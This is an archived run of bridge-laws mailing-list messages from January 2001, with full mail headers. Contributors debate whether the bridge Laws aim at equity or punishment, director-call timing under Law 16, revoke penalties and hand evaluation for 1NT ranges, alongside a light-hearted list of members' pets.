Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Hirsch Davis wrote: > David Burn wrote: > > > The notion that "the goal of the current laws is equity" is at best > > a doubtful one, since it is nowhere stated in those laws. > > The following is from the Scope of the Laws: "The Laws are primarily > designed not as punishment for irregularities, but rather as redress > for damage." > > What else does this statement mean, if not that the primary goal of > the Laws is equity? > What this statement says to me is that the Laws do not in general seek to punish those who have broken a law but have caused no damage. Do not be surprised that a revoke, misuse of UI, or MI goes unpunished when no damage results. If punishment is in order, inflict it outside the game, not within the game. The Scope does not say that non-offenders should only get their perceived equity in the deal. Rather, the Laws provide that penalties paid by an offender accrue to the non-offenders. Since the NOs get the benefit of any doubt, it is quite possible that they may receive more than mere redress. Another way they may get extra compensation comes from the necessity for simple Laws. For instance, a revoke penalty may be assessed when no damage has resulted. For those offenses that generally cause no damage but must be immediately discouraged, we have L90, Procedural Penalties (PPs), and L91, Penalize or Suspend. This is all in the spirit of the game. The Laws' philosophy has been challenged from two quarters. One wishes to deny the NOs of any gain from an opposing infraction. The other wants to use PPs as a supplement to Laws that provide redress for damage, punishing offenders when there is no damage, or adding an additional penalty to the one prescribed. This is not in the apirit of the game. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 08:57:05 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03LuHi17351 for bridge-laws-outgoing; Thu, 4 Jan 2001 08:56:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03LuAt17320 for ; Thu, 4 Jan 2001 08:56:11 +1100 (EST) Received: from twkdckuj (ppp090.pullman.com [204.227.174.90]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id OAA89339 for ; Wed, 3 Jan 2001 14:06:12 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010103135756.007277a4@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 03 Jan 2001 13:58:20 -0800 To: From: "N. Scott Cardell" Subject: Re: [BLML] Annoyingly irregular Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 03:01 PM 1/2/01 -0800, you wrote: > >Steve Willner wrote: > >> > From: "N. Scott Cardell" > >> > You call the director during, for example, the following auction: >> > >> > West North(you) East South >> > 1D, Double, 4H, 4S, >> > slow pass, pass, 5H >> >> Maybe you call the director after the 5H bid; I certainly >> don't. Look again at the footnote to L16A2. >> >> I agree that what Scott suggests is widely practiced, but >> the proper times to call the director are a) immediately after the >> slow pass (if "reserving rights" is not allowed by your SO) > >Supposedly an ACBL "Election" that takes an option provided by L16A1, but >that ACBL Election (printed in the back of the ACBL's Laws book) has some >problems: > >(1) It conflicts with L16A2 (and its footnote), which is not optional with >SOs. > >(2) The syntax in its second sentence is confusing: > >"They should summon the Director immediately when they believe there may >have been extaneous information available to the opponents resulting in >calls or bids which could result in damage to their side." (Right away we >see a blunder, because bids are calls. This should be "calls or plays.") > >Now, is the TD called before or after possibly-influenced calls or plays? > >If the former, it should be "...to the opponents which could result in >calls or plays..." Marv, thanks for putting together some excellent points. :) At 11:42 AM 1/3/01 -0500, Craig Senior wrote: >I am not a grammarian either...but it does seem as though the intent of the >language is "which might result" rather than "resulting". If this be so, >perhaps Grattan will note this as a clarifying amendment. > >Craig The plain language seems to be "resulting in", however, in view of the standard against accusing the opponents of misconduct, I interpret this to mean: "They should summon the Director immediately when they believe there may have been UI available to the opponents at the time they made a call, if said call could result in damage to their side." That is I take "resulting in" to mean that the UI (or "extraneous information") was available at the time that a subsequent by the opponents call was made and remove the implied accusation that the UI caused the call to be made. Anyway this is why, in ACBL land, I call the director after the 5H bid. As several corespondents have pointed out, this is the usual practice in ACBL land. >If the latter, the language should be "...to the opponents which may have >resulted in calls or plays..." Makes more sense to me, also. :) >I'm not a grammarian (Craig? David Burn?) but I believe the existing >language necessarily refers to potentially-influenced calls or plays that >occur before the TD is called. That makes it compatible with the second >interpretation, but violates L16A2 and its footnote. LAW 16 UNAUTHORIZED INFORMATION Players are authorized to base their calls and plays on information from legal calls and plays and from mannerisms of opponents. To base a call or play on other extraneous information may be an infraction of law. A. Extraneous Information from Partner After a player makes available to his partner extraneous information that may suggest a call or play, as by means of a remark, a question, a reply to a question, or by unmistakable hesitation, unwonted speed, special emphasis, tone, gesture, movement, mannerism or the like, the partner may not choose from among logical alternative actions one that could demonstrably have been suggested over another by the extraneous information. 1. When Such Information Is Given When a player considers that an opponent has made such information available and that damage could well result, he may, unless the regulations of the sponsoring organization prohibit, immediately announce that he reserves the right to summon the Director later (the opponents should summon the Director immediately if they dispute the fact that unauthorized information might have been conveyed). 2. When Illegal Alternative Is Chosen When a player has substantial reason to believe* that an opponent who had a logical alternative has chosen an action that could have been suggested by such information, he should summon the Director forthwith. The Director shall require the auction and play to continue, standing ready to assign an adjusted score if he considers that an infraction of law has resulted in damage. *When play ends; or, as to dummy's hand, when dummy is exposed. >The only "Election" for 16A1 that seems permissible without violating 16A2 >and its footnote is to delay calling attention to the UI until L16A2 kicks >in: "When a player has reason to believe...," and that can only be "When >play ends; or, as to dummy's hand, when dummy is exposed." I am sorry, but I don't get it. :( I read the law as poorly worded and contradictory. The plain language seems to say that once a player has a "substantial reason to believe that an opponent who had a logical alternative has chosen an action that could have been suggested by such information" he "should summon the Director forthwith." Then the footnote says: "When play ends; or, as to dummy's hand, when dummy is exposed." Now after the director is called it says that he "shall require the auction and play to continue, standing ready ...". Now how can the auction continue if the director isn't called until "play ends; or, as to dummy's hand, when dummy is exposed." In fact this sentence seems to contemplate the director being called under 16A2 at any point during the auction or play at the moment when "a player has substantial reason to believe that an opponent who had a logical alternative has chosen an action that could have been suggested by such information, ..." BTW the above reasoning also suggests that Marv is correct in suggesting that it should be "calls or plays" rather than "calls or bids" or even just "calls". [snip] >Instead of "immediately announce that he reserves the right...," why not >just "...immediately obtain agreement with the opponents as to the >existence of unauthorized information that could result in damage, failing >which the Director should be called immediately." > >Then follow L16A2 if agreement was reached. > >This is the procedure already followed by many good players, and it >deserves official blessing. Good point. :) >Marv >mlfrench@writeme.com Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 10:43:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03Nf6F06110 for bridge-laws-outgoing; Thu, 4 Jan 2001 10:41:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from freya.inter.net.il (freya.inter.net.il [192.114.186.14]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03Neut06102 for ; Thu, 4 Jan 2001 10:41:00 +1100 (EST) Received: from inter.net.il (Ramat-Gan-1-28.access.net.il [213.8.1.28] (may be forged)) by freya.inter.net.il (Mirapoint) with ESMTP id AHJ11277; Thu, 4 Jan 2001 01:40:41 +0200 (IST) Message-ID: <3A53B928.E6311862@inter.net.il> Date: Thu, 04 Jan 2001 01:43:36 +0200 From: Dany Haimovici X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en,fr-FR MIME-Version: 1.0 To: "bridge-laws@octavia.anu.edu.au" Subject: [BLML] D-BLML list - the clever friends - December 2000 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Dear all H-BLML (human....) and D-BLML member Here is the 27th release of the almost new famous club !!!! The list will be updated and publish every 24th , and 24.8 will be announced as the List's day (Kushi's birth day). The list will include lovely dogs who go on their existence at Rainbow Bridge , thinking about their lovely human friends. D-BLML - DOGS' blml LIST (cats) Linda Trent - Panda(RB 2/2000), Gus, Gizmo (none) Dany Haimovich - Kushi (9) Jan Kamras - Koushi (none) Irv Kostal - Molly (3) Craig Senior - Patches , Rusty , (10) Nutmeg , Lucky Adam Beneschan - Steffi (1) Eric Landau - Wendell (4) Bill Seagraves - Zoe {RB-5/1999} (none) Jack Kryst - Darci (2) Demeter Manning - Katrina (2) Jan Peter Pals - Turbo (none) Anne Jones - Penny {RB-3/1999} (none) Fearghal O'Boyle - Topsy (none) Louis Arnon - Mooky (4) Roger Pewick - Louie (none) Phillip Mendelshon - Visa , Mr. Peabody (none) Eric Favager - Sophie, Sundance-Sunny (6) Larry Bennett - Rosie , Rattie (none) Olivier Beauvillain - Alphonse (1) Helen Thompson - Rex,Sheeba, Cobber (3) Alain Gottcheiner - Gottchie (none) Art Brodsky - Norton (1) John H. Blu - Whitney, Nestle (none) His Excellency the sausage KUSHI - an 11 years old black duckel - is the administrator of the new D-BLML. SHOBO ( The Siamese Chief cat here) helps him too and will be responsible for the intergalactic relations with QUANGO - the Fabulous C-BLML chaircat ,and Nanky Poo.. Please be kind and send the data to update it. Dany -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 10:57:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f03Nuj906151 for bridge-laws-outgoing; Thu, 4 Jan 2001 10:56:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f03Nudt06147 for ; Thu, 4 Jan 2001 10:56:40 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id SAA02665 for ; Wed, 3 Jan 2001 18:56:34 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id SAA23055 for bridge-laws@rgb.anu.edu.au; Wed, 3 Jan 2001 18:56:34 -0500 (EST) Date: Wed, 3 Jan 2001 18:56:34 -0500 (EST) From: Steve Willner Message-Id: <200101032356.SAA23055@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: RE: [BLML] self-serving ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: "Kooijman, A." > As you probably know we are starting to think about a new edition of our > laws. Should we change the scope or the laws? Be aware that changing the > scope is somewhat easier. I hate to say it, but I think you ought to change both. The Scope should explain what is meant by "redress for damage." As Marv said, it doesn't mean restoring equity in all cases or even most, but it does mean rules that are simple to administer and that generally avoid damage to the NOS. Furthermore, even though the laws aren't specifically intended to punish, they may do so in many or even most case. This can be viewed either as redress for damage caused by infractions that are not discovered or as the price for simplicity. In other words, the _effect_ may be punishment even if that isn't the _goal_. The fixed revoke penalties are a good example. Sometimes there will be no penalty (i.e., when the revokers take no more tricks or when the revoke gains as many tricks as the penalty costs), and sometimes a meaningless revoke will be penalized one or two tricks, but the mechanical penalty is fairly simple and nearly always avoids damage to the NOS. (It always does if you define the "mechanical penalty" as including L64C.) If the laws were about penalizing infractions, they might call for a two-trick revoke penalty even if the OS took no tricks after the revoke. And a revoke at trick 12 would most certainly be penalized. But this is not what the laws say. _On average_ revokes are certainly punished, but any particular instance may or may not be. As you say, changing the Scope should be fairly straightforward, although I realize nothing is trivial in this sort of activity. (And again my thanks to those who do the work!) All (!) that is needed is to explain a bit more of the philosophy behind the various choices made. While I have a number of suggestions about the laws themselves -- as do most other contributors to BLML! -- I think the most important change in the current context would be to do away with all the mixtures of "fixed-penalty" and "restore-equity" laws. A defender's exposed card is a good example. Either keep the fixed lead and play penalties and let the exposed card be AI to partner (with L72B1 kicking in if the exposer "could have known"), or let the player pick up the card but keep it UI to partner. The current, mixed rules are very hard to administer and don't really do a good job of restoring equity anyway, so what's the advantage? I realize it will be hard for the LC to reach consensus, but maybe adopting a global agreement that "mixed" laws have to go would be a practical start. Or perhaps not.... -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 12:36:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f041YeP12688 for bridge-laws-outgoing; Thu, 4 Jan 2001 12:34:40 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f041YXt12648 for ; Thu, 4 Jan 2001 12:34:34 +1100 (EST) Received: from twkdckuj (ppp046.pullman.com [204.227.174.46]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id RAA18114 for ; Wed, 3 Jan 2001 17:44:36 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010103173639.006a6b20@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 03 Jan 2001 17:36:46 -0800 To: Bridge Laws From: "N. Scott Cardell" Subject: Re: [BLML] self-serving ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:55 AM 1/3/01 +0000, you wrote: >In-Reply-To: <001801c07535$764936c0$729f7ad5@pbncomputer> >DB wrote: > >> Tim West-Meads wrote: >> >> > > > Obviously a statement like "I would always bid that way" is very >> unlikely to be accepted. >> >> > > Yes, but "very unlikely" should be "never" (otherwise inconsistency >> > > will once again supervene). Of course, if the appellant can show >> > > evidence that he has in the past frequently bid "that way", then his >> > > statement may stand a good chance of being accepted. >> > >> > If the AC knows, through significant experience against him, "that the >> > appellant would always bid that way" they can accept it. >> >> No, they can't. What would anyone think of an AC ruling that said, in >> effect: "Well, nobody else would have bid X, but we know this chap very >> well and we know that he would always have bid X"? > >I imagine they would consider it biased. What about "We know that Richard >is aggressive to the point of madness and believe that no similarly >aggressive player (were they to exist) would consider any bid other than X >an LA". Rather than "We know Richard to be an aggressive bidder and that >X is the only possible bid for someone with such an aggressive style. >However we are adjusting because some less aggressive players would >consider Y an LA". > >> > Since the goal of the current laws is equity, rather than consistency, >> it >> > is surely better (until the laws change to those you personally >> desire) to >> > do equity 50% of the time fail the other 50% than to fail to do equity >> all >> > the time. >> >> The notion that "the goal of the current laws is equity" is at best a >> doubtful one, since it is nowhere stated in those laws. > >L16c3 springs immediately to mind. Custom, practice and widespread >acceptance would indicate that the equity principal is the generally >accepted one in the current laws. > >> I think that the >> great majority of players would be happier with a system where whatever >> is done is done all the time, than with a system where things are done >> more or less at random, depending on whether a given player is known to >> a given appeals committee or not. > >Perhaps. But this swings both ways. "Richard is known to be aggressive >so Y is an LA for Richard while it would not be for a less aggressive >player." or "Richard is known to be a very fine player who might therefore >consider Y an alternative while most others would not." Personally I >prefer that ACs can take their knowledge of a player into account. If >this puts me in a minority so be it but it seems to make the whole process >less random, not more. > >> > I really couldn't care less what you can achieve by deliberate lying. >> > Do it sufficiently often and you will be banned. If people want to >> > cheat they will and it's not worth designing the laws to cater to an >> > insignificant >> > minority. >> >> Nonsense. It is worth designing the laws so that no one can cheat. It is >> a popular, though comfortable, myth that there are systems in place to >> catch persistent liars or cheats. There are not, but the belief that >> there are is a major obstacle to the correct administration of the >> current set of laws. > >Alternatively one could stick with the current laws and put proper >detection systems in place. > >> > Previous hands are not verification (although they may indeed be >> > corroboration). >> >> This makes more or less no sense; the terms "verification" and >> "corroboration" are interchangeable in this context. > >Making a bid on a similar hand does not provide "verification" that the >same bid would be made on the actual hand. It does provide corroborating >evidence. Verification requires a much greater body of evidence than >corroboration and since the two words have different meanings they should >be used interchangeably. > >> > If this approach is taken then the AC must allow time for >> > appellants to collect evidence, gather witnesses etc. The AC becomes >> > a trial rather than an enquiry. Why would you accept "he bid this way >> > on hand 3 of the morning session" as any more verified than the >> > original. >> >> Than the original what? > >The original "With hand X he would have bid Y", which you say should be >ignored. Why then would you accept "Earlier he held hand Z (similar to X) >and bid Y". It is another unsupported statement. > > >> > > If your opponents have been told that your "agreement" is that you >> > > won't have a 15 count, while your "agreement" appears to be that you >> > > will, then there is a case for redress if the misinformation had >> > > damaged them. >> > >> > No. Our agreement is that 1NT *shows* 12-14 balanced and is always >> > treated as such . My partner (who plays strict 12-14) has been told to >> > disclose how I may vary from this in her experience. >> >> If your partner's experience is that you may not have 12-14, then your >> agreement is not that 1NT shows 12-14. > >Well if not "shows" then "shows a hand I consider to be worth 12-14 points >and requires partner to bid as if that is what I hold". I heartily concur! A 12 point hand means one worth the same as an average 12 HCP hand. Even if one restricts that to a precisely average 12 HCP hand and thus plays 12.0 to 14.0 then any rational bridge player should recognize A10xx,K10xx,xx,A9x as worth MORE than 12.0 points, where as QJx,Jxxx,Qxx,KQJ us worth less than 12.0 points. Of course such evaluations are simply good bridge the range on your cc identifies a range of strength not simply raw HCP. Contrary to the comments of Herman De Wael (see "Re: [BLML] Permitted system") using sound bridge judgement to evaluate your hands does not mean that 12 to 14 needs to be 11.9 to 14 or some such. In fact I would rate A109x,K109x,xx,A10x as a good about 13.0 and would happily open it 1NT playing 13-15. In the thread "Re: [BLML] Permitted system" Jean Pierre Rocafort pointed out that: >When you give HCP ranges in the form of 10-12, 13-16 ... , you are using >a discrete ladder which is only a rough approximation of a sound >evaluation function which should use a continuous ladder, and might >allow you to quantify your judgement when it tells you some hand is >slightly stronger than another one. When you pretend to use the ranges >7-9, 10-12 and 13-15, it is in fact an over-simplifaction to write down >the reality which is that the ranges (perforce touching intervals) are >7.5-9.5, 9.5-12.5, 12.5-15.5. This is why a regulation founded upon an >imperfect discrete ladder, with "no man's lands" between integer >numbers, leads to the paradoxes you are struggling with. This is certainly true. For example, usually "12 to 14" means 11.5 to 14.5 or so. That is one would open 1NT with a below average 12 HCP hand such as AQx,QJxx,J9xx,Qx but might pass without the D9 and definitely would not open 1NT with an awful 12 HCP hand such as QJx,Jxxx,Qxx,KQJ. Playing this way one would open a good but not great 11 HCP hand such as AJ9,K108x,Kx,xxx and a great 10 HCP hand such as AQ109,A1096,xx,109x. (And one would make similar decisions at the other end of the range.) Perhaps it would be best to add to the cc boxes for: Tend to upgrade and downgrade raw HCP based on: Spot cards __, Suit lengths __, Honor combinations __. (Check all that apply, if you use only raw stupid HCP check here __, then go take some bridge lessons.) Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 14:49:49 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f043l1G15848 for bridge-laws-outgoing; Thu, 4 Jan 2001 14:47:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from bertha.au.csc.net (bertha.au.csc.net [203.0.101.101]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f043kut15843 for ; Thu, 4 Jan 2001 14:46:56 +1100 (EST) Received: from c3w-fwb (c3w-fwb [203.0.101.98]) by bertha.au.csc.net (8.9.1a/8.9.1) with SMTP id OAA10910 for ; Thu, 4 Jan 2001 14:39:57 +1100 (EST) From: richard.hills@immi.gov.au Received: from c3w-notes ([20.18.100.39]) by C3W-FWB.au.csc.net; Thu, 04 Jan 2001 14:41:01 +0000 (EST) Subject: RE: [BLML] Equity or simplicity? To: bridge-laws@rgb.anu.edu.au.C3EXTERNAL.gov.au Date: Thu, 4 Jan 2001 14:43:39 +1000 Message-ID: X-MIMETrack: Serialize by Router on C3External/C3X(Release 5.0.3 (Intl)|21 March 2000) at 04/01/2001 02:46:10 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In the thread *self-serving ?*, Ton wrote: >We need a rather optimistic (or poor) >reader to find no indication for either >equity based or punishment based. They >certainly read more punishment based to >me. With equity struggling to stay above >the ground level. > >As you probably know we are starting to >think about a new edition of our laws. >Should we change the scope or the laws? >Be aware that changing the scope is >somewhat easier. > > ton As a sometime club director, I prefer the TD user-friendly way the 1975 Laws handled revokes. The 1998 Laws are more equitable to the OS, but revoke rulings are therefore more complex, causing problems for the club TD. L12C3 also aims at providing equity for the OS. Again, implementation by the club TD is complex, requiring a percentage assessment of likely outcomes of the hand at the time just before the infraction. It is simpler to award a *bridge* score(s) under L12C2, or Ave+ and Ave-. IMHO, *the scope* should mention only simplicity and consistency. In the body of the 2008 Laws, *equity* should only be mentioned for the NOS. Best wishes R -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 18:38:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f047btA20069 for bridge-laws-outgoing; Thu, 4 Jan 2001 18:37:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from whale.fsr.net (root@whale.fsr.net [207.141.26.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f047bnt20065 for ; Thu, 4 Jan 2001 18:37:50 +1100 (EST) Received: from twkdckuj (ppp037.pullman.com [204.227.174.37]) by whale.fsr.net (8.9.3/8.9.3) with SMTP id XAA24773 for ; Wed, 3 Jan 2001 23:47:57 -0800 (PST) (envelope-from scardell@pullman.com) Message-Id: <3.0.32.20010103233949.0072d820@pullman.com> X-Sender: scardell@pullman.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 03 Jan 2001 23:40:10 -0800 To: Bridge Laws From: "N. Scott Cardell" Subject: RE: [BLML] Equity or simplicity? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk If the question is what the laws should be, then: 1) Revokes, leads out of turn, bids out of turn: The law should favor simplicity. NO should be guaranteed a minimum of equity, but the normal consequence should be a simple mechanical penalty, and the OS should be sufficiently often be disadvantaged that all potential offenders will always have an incentive to avoid these offenses. The reasoning here is that not only are these offenses potentially advantageous to the OS if not caught, but even accidental revokes and the like disrupt the game and can damage the concentration and the enjoyment of the game of all the players. A revoke that has no other effect than causing a NO to rack his brain trying to think of how he miscounted the suit, still needs to be actively discouraged. Personally I think that the old two trick penalty was fine, only very rarely was it necessary to adjust because the revoke cost more than two tricks; and it was a good deterrent. 2) UI and MI that occur in the ordinary course of the game (such as because, in this thinking game someone actually paused for thought) should be dealt with in a way that as much as possible restores equity and avoids adjudicated results. The long slippery slope that the bridge laws have plunged down in dealing with UI and MI is an abysmal failure. I suggest the following change to the laws: 1) Institute a statute of limitations on changing the contract due to a hesitation in the bidding. The statute of limitation should end when the opening lead is made. No more calling the director after the hand has been played, or even after the play has begun. The same statute of limitations should apply to changing the contract do to misinformation, if the offending side is playing the contract and properly informs their opponents of the misexplanation at the end of the bidding. 2) When the director is called prior to the opening lead and decides that there has been an infraction, then director must propose the final contract that should have been reached without the UI (or MI). If both sides accept the directors choice then the hand is played in the proposed contract and neither side has a right to appeal. Either side may reject the proposal, then both sides retain their right to appeal. The offending side is required to choose first, if the offending side rejects the proposal then the nonoffending side receives the advantage of being deemed to have accepted it. If the proposal is rejected, then the side that rejected has the burden of proof in any appeal. Furthermore, if the committee determines that the directors original proposal was the correct contract that the side that accepted the proposal has the option of taking the table result rather than an adjudicated result. The idea is to reduce committees, get back to playing bridge, and hopefully discourage bridge lawyering and 'passing opposite all hesitations' (even when ethically one should bid). In most cases, under my proposed laws, even if the contract is changed by the director the play of the contract will still occur at the table not in the director's or the committee's imagination. These changes should greatly reduce appeals and the use of adjudicated results. Bridge lawyers in my experience tend to have inflated self opinions. (Same mind set as the true cheaters, they think that they deserve better results that they are getting so they cheat or complain to directors to try to get them.) Some are good players, but they think they are great; others are poor players who think that they are good. Make the bridge lawyers actually play the adjudicated contracts and they will discover that the free lunch is over. I completely understand that the above is a major change in the laws and even, perhaps, the philosophy of the laws, but the current laws function poorly in practice, and are often exploited by disingenuous bridge lawyers. The incentives for abuse have simply become too large. Currently a complainant often gets to play the contract reached at the table and then if they don't like the result have an adjudicated result in another contract with the contract and the line of play chosen by rules that strongly favor the complainant. Often this is not a double shot but a triple shot or better. If the table result favors the complainant they get that, if their opponents might have reached a worse contract they get that, if another contract might have been reached and they might have found an obscure defense to beat that contract they get that, etc. etc. . Any replacement of the table result with an adjudicated result based on a contract that was never played at the table is damaging to everyone's enjoyment of the game. >In the thread *self-serving ?*, Ton wrote: > >>We need a rather optimistic (or poor) >>reader to find no indication for either >>equity based or punishment based. They >>certainly read more punishment based to >>me. With equity struggling to stay above >>the ground level. >> >>As you probably know we are starting to >>think about a new edition of our laws. >>Should we change the scope or the laws? >>Be aware that changing the scope is >>somewhat easier. >> >> ton > >As a sometime club director, I prefer the TD >user-friendly way the 1975 Laws handled >revokes. The 1998 Laws are more equitable >to the OS, but revoke rulings are >therefore more complex, causing problems >for the club TD. > >L12C3 also aims at providing equity for the >OS. Again, implementation by the club TD >is complex, requiring a percentage >assessment of likely outcomes of the hand >at the time just before the infraction. >It is simpler to award a *bridge* score(s) >under L12C2, or Ave+ and Ave-. > >IMHO, *the scope* should mention only >simplicity and consistency. In the body >of the 2008 Laws, *equity* should only be >mentioned for the NOS. > >Best wishes > >R Scott -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 4 18:59:51 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f047xTN25505 for bridge-laws-outgoing; Thu, 4 Jan 2001 18:59:29 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f047xNt25501 for ; Thu, 4 Jan 2001 18:59:24 +1100 (EST) Received: from [213.1.129.151] (helo=pbncomputer) by carbon.btinternet.com with smtp (Exim 3.03 #83) id 14E5Ir-0004Bo-00 for bridge-laws@rgb.anu.edu.au; Thu, 04 Jan 2001 07:59:18 +0000 Message-ID: <001301c07624$44180920$978101d5@pbncomputer> From: "David Burn" To: "Bridge Laws" References: <3.0.32.20010103173639.006a6b20@pullman.com> Subject: Re: [BLML] self-serving ? Date: Thu, 4 Jan 2001 07:59:27 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Scott wrote: > >Well if not "shows" then "shows a hand I consider to be worth 12-14 points > >and requires partner to bid as if that is what I hold". > > I heartily concur! A 12 point hand means one worth the same as an average > 12 HCP hand. Even if one restricts that to a precisely average 12 HCP hand > and thus plays 12.0 to 14.0 then any rational bridge player should > recognize A10xx,K10xx,xx,A9x as worth MORE than 12.0 points, where as > QJx,Jxxx,Qxx,KQJ us worth less than 12.0 points. Of course such > evaluations are simply good bridge the range on your cc identifies a range > of strength not simply raw HCP. Contrary to the comments of Herman De Wael > (see "Re: [BLML] Permitted system") using sound bridge judgement to > evaluate your hands does not mean that 12 to 14 needs to be 11.9 to 14 or > some such. In fact I would rate A109x,K109x,xx,A10x as a good about 13.0 > and would happily open it 1NT playing 13-15. Can we please have a moratorium on arguments that begin "the point count by itself is inaccurate for evaluation purposes". We 